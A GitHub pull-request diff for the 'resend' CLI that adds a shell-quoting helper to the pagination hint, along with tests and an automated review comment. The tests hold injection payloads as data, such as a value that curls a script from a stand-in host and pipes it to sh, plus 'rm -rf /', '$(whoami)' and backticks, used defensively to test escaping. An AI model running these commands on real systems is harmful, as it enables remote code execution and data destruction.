Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 6 additions & 3 deletions src/lib/pagination.ts
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
import type { GlobalOpts } from './client';
import { maskKey } from './config';
import { outputError } from './output';
import { shQuote } from './sh-quote';

export function parseLimitOpt(raw: string, globalOpts: GlobalOpts): number {
const limit = parseInt(raw, 10);
Expand Down Expand Up @@ -55,10 +56,12 @@ export function printPaginationHint(
: list.data[list.data.length - 1].id;
const flag = backward ? '--before' : '--after';
const limitFlag = opts.limit ? ` --limit ${opts.limit}` : '';
const apiKeyFlag = opts.apiKey ? ` --api-key ${maskKey(opts.apiKey)}` : '';
const profileFlag = opts.profile ? ` --profile ${opts.profile}` : '';
const apiKeyFlag = opts.apiKey
Copy link
Copy Markdown
Contributor

@cubic-dev-ai cubic-dev-ai Bot Apr 9, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Use !== undefined for Commander option presence instead of truthiness so explicitly provided empty-string values are not dropped from the generated hint.

(Based on your team's feedback about checking Commander option presence with !== undefined.)

View Feedback

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At src/lib/pagination.ts, line 59:

<comment>Use `!== undefined` for Commander option presence instead of truthiness so explicitly provided empty-string values are not dropped from the generated hint.

(Based on your team's feedback about checking Commander option presence with `!== undefined`.) </comment>

<file context>
@@ -55,10 +56,12 @@ export function printPaginationHint(
   const limitFlag = opts.limit ? ` --limit ${opts.limit}` : '';
-  const apiKeyFlag = opts.apiKey ? ` --api-key ${maskKey(opts.apiKey)}` : '';
-  const profileFlag = opts.profile ? ` --profile ${opts.profile}` : '';
+  const apiKeyFlag = opts.apiKey
+    ? ` --api-key ${shQuote(maskKey(opts.apiKey))}`
+    : '';
</file context>
Fix with Cubic

? ` --api-key ${shQuote(maskKey(opts.apiKey))}`
: '';
const profileFlag = opts.profile ? ` --profile ${shQuote(opts.profile)}` : '';

console.log(
`\nFetch the next page:\n$ resend ${command} ${flag} ${cursor}${limitFlag}${apiKeyFlag}${profileFlag}`,
`\nFetch the next page:\n$ resend ${command} ${flag} ${shQuote(cursor)}${limitFlag}${apiKeyFlag}${profileFlag}`,
);
}
2 changes: 2 additions & 0 deletions src/lib/sh-quote.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
export const shQuote = (value: string): string =>
`'${value.replace(/'/g, "'\\''")}'`;
35 changes: 29 additions & 6 deletions tests/lib/pagination.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -102,7 +102,7 @@ describe('printPaginationHint', () => {
{},
);
expect(logSpy).toHaveBeenCalledWith(
'\nFetch the next page:\n$ resend emails list --after item_3',
"\nFetch the next page:\n$ resend emails list --after 'item_3'",
);
});

Expand All @@ -116,7 +116,7 @@ describe('printPaginationHint', () => {
{ before: 'item_5' },
);
expect(logSpy).toHaveBeenCalledWith(
'\nFetch the next page:\n$ resend emails list --before item_1',
"\nFetch the next page:\n$ resend emails list --before 'item_1'",
);
});

Expand All @@ -127,7 +127,7 @@ describe('printPaginationHint', () => {
{ limit: 25 },
);
expect(logSpy).toHaveBeenCalledWith(
'\nFetch the next page:\n$ resend emails list --after item_1 --limit 25',
"\nFetch the next page:\n$ resend emails list --after 'item_1' --limit 25",
);
});

Expand All @@ -139,7 +139,7 @@ describe('printPaginationHint', () => {
);
const output = logSpy.mock.calls[0][0] as string;
expect(output).not.toContain('re_1234567890abcdef');
expect(output).toContain('--api-key re_...cdef');
expect(output).toContain("--api-key 're_...cdef'");
});

test('includes --profile flag when profile is set', () => {
Expand All @@ -149,7 +149,7 @@ describe('printPaginationHint', () => {
{ profile: 'staging' },
);
expect(logSpy).toHaveBeenCalledWith(
'\nFetch the next page:\n$ resend emails list --after item_1 --profile staging',
"\nFetch the next page:\n$ resend emails list --after 'item_1' --profile 'staging'",
);
});

Expand All @@ -168,7 +168,30 @@ describe('printPaginationHint', () => {
},
);
expect(logSpy).toHaveBeenCalledWith(
'\nFetch the next page:\n$ resend contacts list --before item_1 --limit 10 --api-key re_...ijkl --profile prod',
"\nFetch the next page:\n$ resend contacts list --before 'item_1' --limit 10 --api-key 're_...ijkl' --profile 'prod'",
);
});

test('escapes shell metacharacters in profile', () => {
printPaginationHint(
{ has_more: true, data: [{ id: 'item_1' }] },
'domains list',
{ profile: 'prod; curl https://evil.invalid/p.sh | sh #' },
);
const output = logSpy.mock.calls[0][0] as string;
expect(output).toContain(
"--profile 'prod; curl https://evil.invalid/p.sh | sh #'",
);
expect(output).not.toContain('--profile prod;');
});

test('escapes single quotes in profile', () => {
printPaginationHint(
{ has_more: true, data: [{ id: 'item_1' }] },
'domains list',
{ profile: "it's" },
);
const output = logSpy.mock.calls[0][0] as string;
expect(output).toContain("--profile 'it'\\''s'");
});
});
32 changes: 32 additions & 0 deletions tests/lib/sh-quote.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
import { describe, expect, it } from 'vitest';
import { shQuote } from '../../src/lib/sh-quote';

describe('shQuote', () => {
it('wraps a plain string in single quotes', () => {
expect(shQuote('hello')).toBe("'hello'");
});

it('escapes embedded single quotes', () => {
expect(shQuote("it's")).toBe("'it'\\''s'");
});

it('neutralises semicolons and pipes', () => {
expect(shQuote('a; rm -rf /')).toBe("'a; rm -rf /'");
});

it('neutralises subshell syntax', () => {
expect(shQuote('$(whoami)')).toBe("'$(whoami)'");
});

it('handles empty string', () => {
expect(shQuote('')).toBe("''");
});

it('handles backticks', () => {
expect(shQuote('`id`')).toBe("'`id`'");
});

it('handles multiple single quotes', () => {
expect(shQuote("a'b'c")).toBe("'a'\\''b'\\''c'");
});
});